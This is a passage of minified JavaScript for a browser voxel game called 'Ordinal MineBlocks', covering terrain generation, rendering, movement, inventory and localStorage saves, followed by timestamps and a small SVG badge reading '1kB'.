 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
2023-02-10T14:54:59+00:00>
2023-02-10T14:54:59+00:00O
2023-02-10T14:54:59+00:00
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
